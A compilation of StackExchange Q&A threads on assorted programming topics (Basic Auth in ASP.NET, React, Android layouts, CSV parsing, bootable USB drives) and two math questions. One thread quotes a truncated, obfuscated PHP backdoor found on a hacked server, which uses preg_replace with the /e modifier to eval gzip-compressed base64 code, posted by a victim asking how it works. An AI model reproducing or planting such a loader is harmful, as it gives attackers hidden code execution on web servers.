text:
Q: Web API Basic Auth inside an MVC app with Identity Auth So I have a C# MVC app using Identity for its authentication. I now have a need to expose a few things via Web API to some of my clients. Instead of building a separate app, project, deployment... I've simply added an API Controller to my existing project. To keep things simple for my clients, I've decided to use Basic Auth, opting rather to force my clients into using SSL connections to my API.
I've followed this very useful tutorial to implement the Basic Auth in my API:
http://www.piotrwalat.net/basic-http-authentication-in-asp-net-web-api-using-message-handlers/
Problem is, that their instructions take over Auth for the entire app...
I need my MVC app to keep using the Identity Auth that it is currently using and hopefully roll my own custom attribute (like [APIAuthorize]) so that it only applies to my API Controller.
I can probably hack around and try to get this to work, but as this is concerning security, I decided to ask for some pro help on how to best implement this. Specifically, I need to know 1) what do I do in my Global.asax (if anything) as the above URL suggests I do this:
    protected void Application_Start()
    {
        GlobalConfiguration.Configuration.MessageHandlers
          .Add(new BasicAuthMessageHandler(){
             PrincipalProvider = new DummyPrincipalProvider()
           });
        //...
    }

But again, this would take over the Authentication to the entire app... 2) What do I need to do in my custom auth attribute to make all of this work seamlessly.
And of course, if there's a better way to do all of this (without creating a separate app or increasing the implementation difficulty to my clients) then I'm all ears.

A: I us a filter attribute to adorn the actions i wanted to expose to Simple Auth. I cant remember where i got this code from (probably stackoverflow i just don't have the link so i cant claim credit for it)
public class BasicHttpAuthorizeAttribute : AuthorizeAttribute
    {
protected override bool IsAuthorized(HttpActionContext actionContext)
        {
            if (Thread.CurrentPrincipal.Identity.Name.Length == 0)
            {
                // Get the header value
                AuthenticationHeaderValue auth = actionContext.Request.Headers.Authorization;
                // ensure its schema is correct
                if (auth != null && string.Compare(auth.Scheme, "Basic", StringComparison.OrdinalIgnoreCase) == 0)
                {
                    // get the credientials
                    string credentials = UTF8Encoding.UTF8.GetString(Convert.FromBase64String(auth.Parameter));
                    int separatorIndex = credentials.IndexOf(':');
                    if (separatorIndex >= 0)
                    {
                        // get user and password
                        string passedUserName = credentials.Substring(0, separatorIndex);
                        string passedPassword = credentials.Substring(separatorIndex + 1);
                        SimpleAES crypto = new SimpleAES();
                        string userName = crypto.DecryptString(ConfigurationManager.AppSettings.Get(Constants.SIMPLEUSERNAME));
                        string password = crypto.DecryptString(ConfigurationManager.AppSettings.Get(Constants.SIMPLEUSERPASSWORD));

                        // validate
                        if (passedUserName == userName && passedPassword == password)
                        {
                            Thread.CurrentPrincipal = actionContext.ControllerContext.RequestContext.Principal = new GenericPrincipal(new GenericIdentity(userName, "Basic"), new string[] { });
                        }
                    }
                }
            }
            return base.IsAuthorized(actionContext);
        }
    }

Then i use it as so
[BasicHttpAuthorize]
public HttpResponseMessage MyExposedSimpleAuthAction()


text:
Q: Why are these two groups isomorphic? $\langle x, y \mid x^7 = e, y^3 = e, yxy^{-1} = x^2 \rangle$ and $\langle x, y \mid x^7 = e, y^3 = e, yxy^{-1} = x^4 \rangle$. Is it because $x^4 = (x^2)^2$, or is this the wrong reason why they are the same?

A: Set $G=\langle x,y\mid x^7=e,y^3=e,yxy^{-1}=x^2\rangle$.
Now, in $G$, we have
$$y^2xy^{-2}=y(yxy^{-1})y^{-1}=yx^2y^{-1}=yxy^{-1}yxy^{-1}=x^2x^2=x^4.$$
Since $G$ is generated by $x$ and $y^{-1}$, writing $z=y^{-1}$ gives a presentation
$$G=\langle x,z\mid x^7=e,z^3=e,zxz^{-1}=x^4\rangle.$$
This shows the groups in your post are the same.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Print the first letter of each word of a sentence I need to extract the first character from each word present in the sentence.the output should be : JaJwuth but it coming : JJJJJaaaaJJJJJwwwwwuuutttthhhhh
Here is my code:
class new_word {
    public static void main(String args[]) {

        String s = "Jack and Jill went up the hill";
        s = ' ' + s; /* adding space before the string */
        char ch;
        int i, l;
        l = s.length();
        for (i = 0; i < l; i++) {
            if (s.charAt(i) == (' '))
                ch = s.charAt(i + 1);
        }
        System.out.println(ch); /* here the error appears */
    }
}

Please help me understand what I did wrongly, thanks.the output should be:JaJwuth

A: You have to initialize ch
change
char ch;

to
char ch=' ' ;

A: Other than the initialization problem that you are getting for char ch;, which you fix by initializing it with an empty char (char ch = ' ';), this is probably what you are trying to do (without using char ch):
class new_word {
    public static void main(String args[]) {

        String s = "Jack and Jill went up the hill";
        s = ' ' + s; /* adding space before the string */
        int strLen = s.length();
        for (int i = 0; i < strLen; i++) {
            if (s.charAt(i) == (' '))
                System.out.println(s.charAt(i + 1));
        }
    }
}

Output:
J
a
J
w
u
t
h

Note: The System.out.println(...) was outside the for loop in the question.

A: You want to intialize ch because in the instance the for loop isn't run (for example when i >=1) then ch will never be initialized and then you're trying to print out a variable that isn't initialized
char ch ='\0';


text:
Q: Creating a procedure doesn't work in MySQL I tried plenty of codes but this does not seem to work, I'm using VScode, does it has something to do with it ?. Either way here are all the codes I've tried:
CREATE procedure testProcedure()
BEGIN
    SELECT * FROM order_id
END;

DELIMITER $$
CREATE procedure testProcedure()
BEGIN
    SELECT * FROM order_id
END
DELIMITER $$

CREATE procedure testProcedure()
AS
    SELECT * FROM order_id
GO;

All of them would throw a syntax error at the DELIMTER $$, BEGIN, or AS
If I omit the parenthesis in testProcedure in the BEGIN ... END , it will throw this error:

Here's the version of MySQL:

*To mods: this is not a duplicate as I searched and tried pretty much everything but they did not work for me, thanks.


text:
Q: React build won't load an image file What happens is that the image loads correctly on my dev build, but once I've made a prod build, it doesn't load the correct file path. I've removed the unnecessary codes and files to make it simpler.
Here is the file tree:
src
 ┣ assets
 ┃ ┗ media
 ┃ ┃ ┣ images
 ┃ ┃ ┃ ┗ success.svg
 ┣ pages
 ┃ ┣ payment-success.page.jsx
 ┗ _app.js

_app.js
import PaymentSuccess from "./payment-success.page"
...
  <Switch location={location} key={location.pathname}>
    //Here is the link to where my image is
    <Route exact path="/payment/success" component={PaymentSuccess} />
  </Switch>

payment-success.jsx
import Success from "../assets/media/images/success.svg"
...
const PaymentSuccess = () => <div> <img src={Success} /> </div>

The image loads on the dev build properly, but on the prod build, what happens is that it loads as src="./static/..." resulting in the image loading at
url.com/payment/static/media/images/success.svg

instead of
url.com/static/media/images/success.svg

Is there any way to fix this?


text:
Q: Suggestion on algorithm selection and implementation Good day,
I'm working on the next problem and have minimum knowledge about machine learning (ML):

*

*Given the list of articles (A's, text format) and search string (SQ), select and order most relative articles (A's) to the search string (SQ).

*Optimize point #1 on case if new article (A) is added - i.e. so search will account new record and it will be taken into consideration next time.

I've selected spark as the engine for ML calculations and found examples, which counts IDF models (https://spark.apache.org/docs/2.0.0/ml-features.html#tf-idf). This is smths that results in the end with feature-vector of frequencies of term in the article:
(8,[0,1,4],[0.287... (8,[0,1,6],[0.287... (8,[1,3,4],[0.0,0...
(sorry for truncated results)
At this point I stuck. It looks like we might need to calculate similar vector for SQ and order somehow articles by closest. Not sure how to do that though.
What would be right way forward? Can you please share/point to examples with implementation?
Thank you in advance,
Vitaliy

A: here is the short roadmap which worked for me (verified on really small data set):

*

*Build TF-IDF for corpus, obtain "features" vectors

*Build IDF for search term, obtain "features" vector

*Train kmeans on corpus features (from step 1), get "article id" to cluster mapping.

*Predict search term cluster (from step 2 and 3), get "search term" cluster.

*Filter articles by needed cluster (from step 4).

*Filter further articles in selected cluster with LSH, order further by distance between features in cluster and search term.


text:
Q: OpenCV GPU Primitives Are the OpenCV primitives based on the CUDA Nvidia Performance Primitives (NPP)?.
By primitives I mean the same ones implemented in the NPP library, for example: boxFilter, Mirror, Convolution...
I would like to know about this issue as I'm planning use the NPP library. However, OpenCV has more functions that could help me for example in border treatment for image processing.

A: OpenCV uses NPP library for some functions. But it is hard to create a compelete list of such functions.
Some functions uses only NPP implemetation (boxFilter, graphcut, histEven).
Other functions uses different implemetations for different input parameters. For example, cv::gpu::resize uses NPP for some input parameters (CV_8UC1 and CV_8UC3 types, INTER_NEAREST and INTER_LINEAR interpolation mode) and for other parameters it uses own implementation.

A: Great webinar about OpenCV on a GPU using CUDA
Video - http://on-demand.gputechconf.com/gtc/2013/webinar/opencv.mp4
Slides PDF - http://on-demand.gputechconf.com/gtc/2013/webinar/opencv-gtc-express-shalini-gupta.pdf


text:
Q: Extracting a closed form for the coefficients of the generating function $\frac{x e^x}{(1 - x)^2}$ This answer showed that $$\sum_{k = 0}^n \frac{k}{(n-k)!} = e \frac{\Gamma(n+1,1) - \Gamma(n,1)}{\Gamma(n)} \label{a}\tag{1}$$ using the fact that
$\sum_{k=0}^n \frac{1}{k!} = e \frac{\Gamma(n+1,1)}{\Gamma(n+1)}$.
Now, the generating function for $n$ is $\frac{x}{(1 - x)^2}$ and the generating function for $\frac{1}{n!}$ is $e^x$, so it follows that $$F(x) = \frac{x e^x}{(1 - x)^2}$$ is the generating function for the LHS of \ref{a}.  Is it possible to derive the closed form on the RHS of \ref{a} (or some other closed form for that matter) by manipulating $F(x)$ rather than using properties of sums?
I am interested in solving the problem via this method as this generating function seems difficult to work with based on what I know, and I would like to expand my repertoire of techniques for dealing with generating functions.

A: By setting $S_n=\sum_{h=0}^{n}\frac{1}{h!}$ we have
$$\sum_{k=0}^{n}\frac{k}{(n-k)!}=\sum_{k=0}^{n}\frac{n-k}{k!}= n S_n-S_{n-1}=(n-1)S_{n-1}+\frac{1}{(n-1)!} $$
hence the LHS essentially behaves like $e(n-1)$. Such approximation should be enough for the practical purposes of analytic combinatorics. Any closed form for the LHS has to involve the incomplete $\Gamma$ or Beta functions, but the behaviour of the Taylor coefficients of $\frac{xe^x}{(1-x)^2}$ is pretty clear since such function only has a double pole at $x=1$, leading to
$$ \frac{x e^x}{(1-x)^2} = \frac{e}{(x-1)^2}+\frac{2e}{x-1}+\underbrace{\text{entire function}}_{e+x+(3-e)x^2+\ldots}.$$
The Taylor coefficients are related to the incomplete $\Gamma$ function since $\sum_{h > n}\frac{1}{h!}$ can be written as the integral remainder of a Taylor polynomial for the exponential function.


text:
Q: How did my non-CMS based website get hacked? I have a file called mails.php which contains a preg_replace statement I have a series of websites in my server, all of which share the same set of PHP files. They're not based in any CMS (no Wordpress, no Joomla, etc.). All of them contain my own "CMS" so to speak. I've never published my code in any public repository or other public site.
So how is it possible that I have a new file called "mails.php" in the root of every domain in my server? The contents are something like this:
<?php

preg_replace("/.*/e","\x28\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X17f9rG0vD/5/c732GtcipoMAac5CRgiBPHTpyLnfqSpInzUAECVAukSsLYzfF3f2ZmV5fVDUGc0z7vW7exQdqdnd2dnZ2dnUtJm3uTnq25LuswpTkYjvSH/240Bg8f1Efbw+ZI6zcbzbr+WK8/ftB8pLT/+Y/

...snip...

/1KRwsG3Iu0AiUSgmWYolw8UZqaSaX+ojbW56PT6vpClLsH7+jm6aYsVTuhppkpQDUoWolJXu8yrVVk/1weFsZKncsyt+M60J1V4ewhkDMNBMs4eapx5WzqqBLmLoQPu/'\x29\x29\x29\x29\x3B",".");?>

The "code" inside the string shown here is not complete (I shortened it before pasting it here) but still, I don't get how is that working. The preg_replace() method is supposed to just return a string, is it? But then the string is not received by anything. So how does it run any code at all? How does that even do something?
Anyway, the biggest question is, how did that file appear in my domains?


text:
Q: I need a Qt Runtime Installer or help with building one (WiX) I am trying to build an installer for a suite of products for a company I work for.  The software was built on Qt.  The suite of products will be distributed together and so I don't want to include/copy the dll's for Qt into each application folder.  I would either like to find an installer for Qt 4.7 runtime (hopefully as a merge module), or create my own.  Right now, I am creating my own WiX merge module, but when I try to compile the merge module I get the following error:
error LGHT0104 : Not a valid manifest file; detail: Unexpected XML declaration. The XML declaration must be the first node in the document, and no white space characters are allowed to appear before it. Line 1, position 4.

I am new to the hell of dlls, so I am not sure what is wrong with the manifest file or if I am doing something else wrong.  Here is the manifest I created.  I am not sure if it is complete (1 manifest for 1 of 18 dlls):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
     version="4.7.2.0"
     processorArchitecture="x86"
     name="QtScript4.dll"
     type="win32" />
    <file name="QtScript4.dll"></file>
</assembly>

A: Try writing the .manifest file in UTF-8 without a BOM. Since the error message indicates column 4, the first three bytes might be a bad BOM.


text:
Q: Having trouble getting CPU usage in java using a batch file I am trying to create a CPU usage meter by executing a batch file and returning the result. Here is the method that gets the CPU usage. When the batch file is ran it returns the results in a wierd format so I sort through it looking for the only number which is the CPU usage percentage. The problem I am running into is that I cant return the number after I convert it from a string and try to store it in a variable. Here is the code:
public int getCPUload (){
String s = "";
int r = 0;
try {
    Process ps = Runtime.getRuntime().exec("Pc.bat");
    BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
    while((s = br.readLine()) != null) {
       if(s.matches(".*\\d+.*")){
          r = Integer.parseInt(s);
       }
    }

}
catch( Exception ex ) {
    System.out.println("ERR: "+ex.toString());
}
    return r;
}

and here is the batch file "PC.bat":
wmic cpu get loadpercentage

Ultimately I would like to be able to loop this code to constantly update the value but im not sure how that can be done yet(on a seperate thread maybe?). Help and andvice would be appreciated

A: use for to parse the Output of a command:
for /f "tokens=2 delims==" %%i in ('wmic cpu get loadpercentage /value') do set /a cpu=%%i
echo %cpu%

set /a gets rid of the "strange" line ending of wmic (obviously works only for numbers - perfect for this case)


text:
Q: Не получается создать класс в python Всем привет!
Пытаюсь создать класс, чтобы чтобы при вводе положительного числа, оно добавлялось в список, а при вводе отрицательного программа писала, что число отрицательное.
Вот моё подобие кода:
class Spisok:
    def append(self, x):
        if x > 0:
            Spisok.append(x)
        else:
            print('Число меньше 0')

lst = Spisok
lst.append(5)

Я в этом деле почти совсем нулячий, прочитал уже кучу статей и посмотрел кучу роликов по ооп, но до сих пор не могу понять даже азы. Пара вопросов:

*

*Надо ли здесь писать def __init__(self) и зачем он нужен? Я читал что эта штука инициализирует класс, кто-то называет это конструктором класса, и я не понимаю нужен ли он, потому что часто его вообще не используют в лёгких программах.

*Как сделать, чтобы можно было вводить сразу кучу чисел, я знаю про *args, но опять же не понимаю как это реализовать. Программа не даёт мне писать if *args > 0  =\

Заранее огромное спасибо! Очень хочу во всё разобраться честно!

A: Метод __init__ выполняется при создании каждого нового экземпляра класса.
Грyбо говоря в твоём слyчае каждый раз при создани экземпляра класса Spisok, мы создаем пyстой список self.lst. Первый аргумент, self, он получает от интерпретатора, остальные передаются классу в круглых скобках при создании экземпляра.
class Spisok:
    def __init__(self):
        self.lst = []

    def append(self, x):
        if x > 0:
            self.lst.append(x)
        else:
            print('Число меньше 0')

lst = Spisok()
lst.append(5)
lst.append(-5)

Есть еще вопросы?

A: Вам прямая дорога читать о магических методах и продолжать изучать ООП.
__init__ - инициализатор нового экземпляра.
Где использовать? Везде. Пока что.
К примеру у вас есть класс человека. У людей есть имена. Одно на всех? Нет. Так инициализатор решает это как лучший друг.
class человек(object):
    расса = "человек он, вроде."
    def __init__(self, name: str = "TobaSko"):
        self.name = name

В этом случае для каждого человека мы передадим его индивидуальное имя. Имя (self.name) будет дано каждому экземпляру при его инициализации:
a = человек()
b = человек("Shamus_Rezol")

print(a.name, b.name, sep = " vs ")

TobaSko vs Shamus_Rezol

Конечно же, его можно поменять и после, но, в основном, только если у тебя нету инициализатора, что не очень то и удобно (ключевое слово: удобства):
class человек(object): pass
a = человек()
a.name = "Комментатор"

Звездочка знаменует то, что аргумент передастся как кортеж (tuple), а при сдвоеной как словарь (dict). После них бессконечность аргументов. Первый тип - просто аргументы. Второй тип - именованые аргументы (немножко = True).
def Ломай(*arguments, **options):
    print(type(arguments), type(options), sep = "; ")

    options.setdefault("немножко", False)

    if options["немножко"]:
        print("Совсем уж немножко ", end = str())

    for argument in arguments:
        print(argument, end = ' ')

    print(str())# 2 NL (\n)

Ломай("изогнул шею", "и пробил болевой", немножко = True, не_бей_кома_обос = "передастся и будет в options, но попросту проигнорируется за отсутствием реализации")

<class 'tuple'>; <class 'dict'>
Совсем уж немножко изогнул шею и пробил болевой

Ваши лучшие друзья
Это type и dir. Нелепо обходить их стороной при изучении языка. Очень хорошие штуки, делающие штучки. Эксперименты, эмперический путь и только! Чуть не забыл. GOOGLE.COM тоже.


text:
Q: Styling button in MVVM I am writing a small WPF application using MVVM pattern.
I set some style resources for buttons into my main window and I would like them to apply to the buttons into the views. The problem is that some of the buttons are having a style with trigger. So I would like to inherit this style from the generic one
here is my main window code:
 <Window.Resources>
    <DataTemplate DataType="{x:Type vm:HomeViewModel}">
        <views:HomeView/>
    </DataTemplate>
    <DataTemplate DataType="{x:Type vm:DetailReportViewModel}">
        <views:DetailReportView/>
    </DataTemplate>
    <DataTemplate DataType="{x:Type vm:TransferViewModel}">
        <views:TransferView/>
    </DataTemplate>
    <Style TargetType="{x:Type Button}">
        <Setter Property="Margin" Value="5"/>
        <Setter Property="MinWidth" Value="30"/>
        <Setter Property="Foreground" Value="Red"/>

    </Style>
    <Style TargetType="{x:Type ComboBox}">
        <Setter Property="Margin" Value="5"/>
    </Style>
   </Window.Resources>

here is the button XAML into my view/usercontrol
<Button Content="Delete" Command="{Binding DeleteReportCommand}">
            <Button.Style>
                <Style TargetType="{x:Type Button}">
                    <Style.Triggers>
                        <DataTrigger Binding="{Binding Mode}">
                            <DataTrigger.Value>
                                <vm:Mode>Add</vm:Mode>
                            </DataTrigger.Value>
                            <Setter Property="Visibility" Value="Collapsed"/>
                        </DataTrigger>
                        <DataTrigger Binding="{Binding Mode}">
                            <DataTrigger.Value>
                                <vm:Mode>Edit</vm:Mode>
                            </DataTrigger.Value>
                            <Setter Property="Visibility" Value="Visible"/>
                        </DataTrigger>
                    </Style.Triggers>
                </Style>
            </Button.Style>
        </Button>

I tried to used BasedOn="{StaticResource {x:Type Button} to inherit but it doesn't seems to work (see img)

I tried with a key name but static resource won't find the key name as it's not on the same view. And BasedOn is not accepting Dynamic resource.
Anything I am missing?
Thank you

A: You can put all the custom styles in a separate resource dictionary file and you can add it in usercontrol.resources.
Refer this: http://www.codeproject.com/Articles/35346/Using-a-Resource-Dictionary-in-WPF
Or you can put all those in app.xaml (Application.Resources).
Refer this: http://msdn.microsoft.com/en-us/library/system.windows.resourcedictionary.aspx


text:
Q: Imageview is not showing my image? My image shows on Android Studio itself, but when uploading to my phone the image is gone. Maybe it's a too big image?
It's 1900 x 1250 pixels.
I have no idea what I'm doing wrong..

<Button
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="About"
    android:id="@+id/button"
    android:layout_alignParentTop="true"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true"
    android:backgroundTint="#fed136" />

<Button
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="Portfolio"
    android:id="@+id/button3"
    android:backgroundTint="#fed136"
    android:layout_alignParentTop="true"
    android:layout_centerHorizontal="true" />

<Button
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="Contact"
    android:id="@+id/button4"
    android:layout_alignBottom="@+id/button3"
    android:layout_alignParentRight="true"
    android:layout_alignParentEnd="true"
    android:backgroundTint="#fed136" />

<ImageView
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:id="@+id/imageView"
    android:layout_below="@+id/button3"
    android:scaleType="fitXY"
    android:src="@drawable/header" />

A: I could not place a comment, but try to look for the image view in your activity. It could be because your code is overriding it from there.
also limit the size of your imageview from the layout xml to make sure its loaded correctly.
And from experience with large photos, they normally not loaded easily on an emulator. so try smaller image as a last step.

A: Yes, the layout looks okay. Try to place the image in drawable-xxxhdpi folder. Create a folder inside your res folder and name it drawable-xxhdpi if its not there. Place the large image inside this folder and check if that helps.
If not, please resize your image as this is the only problem you've here I guess. Too large image causes out of memory error in low-end devices.


text:
Q: Convert from CSV to array in Python I have a CSV file containing the following.
0.000264,0.000352,0.000087,0.000549
0.00016,0.000223,0.000011,0.000142
0.008853,0.006519,0.002043,0.009819
0.002076,0.001686,0.000959,0.003107
0.000599,0.000133,0.000113,0.000466
0.002264,0.001927,0.00079,0.003815
0.002761,0.00288,0.001261,0.006851
0.000723,0.000617,0.000794,0.002189

I want convert the values into an array in Python and keep the same order (row and column). How I can achieve this?
I have tried different functions but ended with error.

A: If your file doesn't contain parentheses
with open('input.csv') as f:
    output = [float(s) for line in f.readlines() for s in line[:-1].split(',')]
    print(output);

A: The csv module was created to do just this. The following implementation of the module is taken straight from the Python docs.
import csv
with open('file.csv','rb') as csvfile:
    reader = csv.reader(csvfile, delimiter=',', quotechar='|')
    for row in reader:
        #add data to list or other data structure

The delimiter is the character that separates data entries, and the quotechar is the quotechar.

A: You should use the csv module:
import csv

results = []
with open("input.csv") as csvfile:
    reader = csv.reader(csvfile, quoting=csv.QUOTE_NONNUMERIC) # change contents to floats
    for row in reader: # each row is a list
        results.append(row)

This gives:
[[0.000264, 0.000352, 8.7e-05, 0.000549],
[0.00016, 0.000223, 1.1e-05, 0.000142],
[0.008853, 0.006519, 0.002043, 0.009819],
[0.002076, 0.001686, 0.000959, 0.003107],
[0.000599, 0.000133, 0.000113, 0.000466],
[0.002264, 0.001927, 0.00079, 0.003815],
[0.002761, 0.00288, 0.001261, 0.006851],
[0.000723, 0.000617, 0.000794, 0.002189]]


text:
Q: Android ScrollView with RelativeLayout does not work I have a problem with my Android project.
I created a view with a list of images and on a Nexus 5 screen I can see all these images, but on a smallest phone some of these images are overlapping.
So I decided to insert a ScrollView but I see lots of errors.
I found lots similar question but nothing works for me.
Can someone help me?
Without ScrollView this is the code that works fine:
 <?xml version="1.0" encoding="utf-8"?>

<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/ScrollView01"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:fillViewport="true"
android:scrollbars="none" >

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="#ff0088ff"
android:clickable="false">

<ImageView
    android:layout_width="70dp"
    android:layout_height="70dp"
    android:id="@+id/imageView"
    android:src="@drawable/icona_pr"
    android:layout_marginLeft="28dp"
    android:contentDescription="@string/icona_pr"
    android:onClick="apriPreliminare"
    android:layout_alignParentTop="true"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true" />

<ImageView
    android:layout_width="70dp"
    android:layout_height="70dp"
    android:id="@+id/imageView2"
    android:src="@drawable/icona_p"
    android:contentDescription="@string/icona_p"
    android:onClick="apriPesantezza"
    android:layout_above="@+id/imageView3"
    android:layout_alignLeft="@+id/imageView"
    android:layout_alignStart="@+id/imageView" />

  [...]
</RelativeLayout>
</ScrollView>

When in Android Studio I select the Design Tab to see a preview I see a longer screen. On a Nexus 5 It seems to works fine, nothing change, but on a Galaxy S2 The first 2 ImageView are overlapping.

A: here is your layout
<?xml version="1.0" encoding="utf-8"?>
<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/ScrollView01"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:fitsSystemWindows="true"
    android:scrollbars="none" >

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:clickable="false"
        android:orientation="vertical" >

        <ImageView
            android:id="@+id/imageView"
            android:layout_width="70dp"
            android:layout_height="70dp" />

        <ImageView
            android:id="@+id/imageView2"
            android:layout_width="70dp"
            android:layout_height="70dp" />

        <ImageView
            android:id="@+id/imageView3"
            android:layout_width="70dp"
            android:layout_height="70dp" />

        <ImageView
            android:id="@+id/imageView4"
            android:layout_width="70dp"
            android:layout_height="70dp" />

        <ImageView
            android:id="@+id/imageView5"
            android:layout_width="70dp"
            android:layout_height="70dp" />

        <ImageView
            android:id="@+id/imageView6"
            android:layout_width="70dp"
            android:layout_height="70dp" />
    </LinearLayout>

</ScrollView>

A: ScrollView must contain your ONE target layout, if it is parent view of whole layout also add xmlns tag.
<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
            android:layout_width="match_parent"
            android:layout_height="match_parent">

    <RelativeLayout android:layout_width="match_parent"
                    android:layout_height="match_parent">

       //Other staff in here

    </RelativeLayout>

</ScrollView>


text:
Q: Why props render as undefined? I have this React-component called PersonCard:
class PersonCard extends Component {

  constructor(props) {
    super(props);
    console.log(JSON.stringify(props));
    this.state = props;
  }

  render() {
    return (

            <MuiThemeProvider muiTheme={Mui} >
                <Card>
                    <CardHeader
                    title={this.props.firstName}
                    />
                </Card>
            </MuiThemeProvider>

    );
  }
}

export default PersonCard;

The view has multiple PersonCards and they're mapped from an array in its parent component SearchResults as follows:
class SearchResults extends Component {

    constructor() {
        super()
        this.state = {
          data: [],
        }
      }
    componentDidMount() {
        return fetch('http://localhost:3005/persons')
          .then((response) => response.json())
          .then((responseJson) => {
            this.setState({
              data:responseJson
            })
          })
        }
    render() {
        return (

            {
              this.state.data.map( (person)=>
                <PersonCard key={person.id} personProp = {person} />
              )

            }

        )
    }
}

export default SearchResults;

The logger in the constructor shows the person objects and their properties correctly, so it's there as it should be.
BUT the props value (this.props.firstName) doesn't show in the render-method, since they get rendered as "undefined" on the view. Why?

A: You don't define a prop called firstName here:
<PersonCard key={person.id} personProp = {person} />

Maybe you meant to access it through this.props.personProp.firstname?

A: In your code you are pass "key" and "personProp" props to "PersonCard" components. So inside the render function of "PersonCard" component you can access these props by "this.pops.key" and "this.props.personProp".
So if your personProp contain's the firstName then you will be able to access it by "this.prps.personProp.firstName". So you should try below code
class PersonCard extends Component {

constructor(props) {
  super(props);
  console.log(JSON.stringify(props));
  this.state = props;
}

render() {
  return (

        <MuiThemeProvider muiTheme={Mui} >
            <Card>
                <CardHeader
                title={this.props.personProp.firstName}
                />
            </Card>
        </MuiThemeProvider>

   );
  }
}

export default PersonCard;


text:
Q: How to create a bootable Ubuntu USB flash drive from terminal? Is there any way to create a bootable Ubuntu USB flash drive from the terminal without using any third-party applications like YUMI, Unetbootin, Startup Disk Creator,  etc.
I tried to create a bootable Ubuntu flash drive with dd method,
sudo umount /dev/sdb
sudo dd if=/path/to/ubuntu.iso of=/dev/sdb bs=1M

It creates files on the USB disk, but when I try to boot the USB disk it shows an Operating System Not Found error.

A: $ dd if=ubuntu-14.04.1-desktop-amd64.iso of=/dev/sdX bs=1MB

Don't use the path to bit.

*

*Use the cd command to get to the folder that contains the .iso file

*use the command dd if=FILE NAME HERE.iso of=/dev/sdX bs=1MB

*Wait until the console output looks something like this:
1028+1 records in
1028+1 records out
1028653056 bytes (1.0 GB) copied, 55.4844 s, 18.5 MB/s

*Boot from the usb.
Note: Make sure you write to the correct device a usb will not always be mounted at: dev/sdX where X can be any letter.

A: You can use dd.
sudo umount /dev/sd<?><?>

where <?><?> is a letter followed by a number, look it up by running lsblk.
It will look something like
sdb      8:16   1  14.9G  0 disk
├─sdb1   8:17   1   1.6G  0 part /media/username/usb volume name
└─sdb2   8:18   1   2.4M  0 part

I would dismount sdb1.
Then, next (this is a destructive command and wipes the entire USB drive with the contents of the iso, so be careful):
sudo dd bs=4M if=path/to/input.iso of=/dev/sd<?> conv=fdatasync  status=progress

where input.iso is the input file, and /dev/sd<?> is the USB device you're writing to (run lsblk to see all drives to find out what <?> is for your USB).
This method is fast and has never failed me.

EDIT: for those on a Mac ending up here, use lowercase for bs=4m:
sudo dd if=inputfile.img of=/dev/disk<?> bs=4m && sync

EDIT: If USB drive does not boot (this happened to me), it is because the target is a particular partition on the drive instead of the drive. So the target needs to be /dev/sdc and not /dev/sdc <?> For me it was /dev/sdb.
Reference: https://superuser.com/a/407327 and https://askubuntu.com/a/579615/669976

A: You have two choices.
If you desire a graphical interface, use usb-creator (it is in the ubuntu repos)

If you want a command line tool, use dd
#Replace X accordingly in both commands

sudo umount /dev/sdX
sudo dd if=/path/to/ubuntu.iso of=/dev/sdbX bs=1M

Just be sure /dev/sdX is the flash drive you wish to use (it will destroy the data on the flash drive).
See https://help.ubuntu.com/community/Installation/FromUSBStick for additional information.

A: First, unmount the USB device and then use lsblk to verify the device.
Sometimes (usually older iso files) dd is not sufficient and the pendrive will not boot. In this case, you may need to install syslinux:
sudo apt-get install syslinux

and then run the following commands:
sudo mkfs -t vfat -I /dev/sdX

You want to run that last command to /dev/sdX and not /dev/sdX1.
Then, proceed with the following commands:
isohybrid /path/to/file.iso --entry 4 --type 0x1c
dd if='/path/to/file.iso' of=/dev/sdX bs=8M

or, to see progress of image write:
pv -tpreb /path/to/file.iso | dd of=/dev/sdX bs=8M

or instead of dd, you can use cat instead:
sudo -s
cat /path/to/file.iso > /dev/sdX

Rememeber to issue sync command to flush write cache
sync

web.archive.org/web/20140327085331/https://tails.boum.org/doc/first_steps/installation/manual/linux/index.en.html

A: Title

How to create a bootable Ubuntu USB flash drive from terminal?

There are built-in text mode tools, that you can run from a text screen or a terminal window. dd or cp or cat can be used, but they are not safe because they do what you tell them to do without any question, and a minor typing error is enough to overwrite a drive with valuable data.
Fortunately there are also safer text mode tools, but you have to install them.

*

*mkusb version 12 alias mkusb-dus works also in text mode (not only in GUI mode).
Install mkusb via its PPA: If you run standard Ubuntu live, you need an extra instruction to get the repository Universe. (Kubuntu, Lubuntu ... Xubuntu have the repository Universe activated automatically.)
sudo add-apt-repository universe  # only for standard Ubuntu

sudo add-apt-repository ppa:mkusb/ppa  # and press Enter
sudo apt-get update
sudo apt-get install mkusb mkusb-nox usb-pack-efi

Installing this way will add not only mkusb but also some program packages that mkusb depends on.

*If you want a small tool or if you don't like PPAs or don't want any extra program packages, you can use mkusb-min. This shellscript is very small compared to the other versions, yet it serves the purpose to wrap a safety belt around dd.
$ wc mkusb-min
 208  736 5435 mkusb-min

It should be rather easy to see what the shellscript is doing simply by reading it in a text editor.
Download mkusb-min from its Ubuntu help page. Run it locally or install it into a directory in PATH.

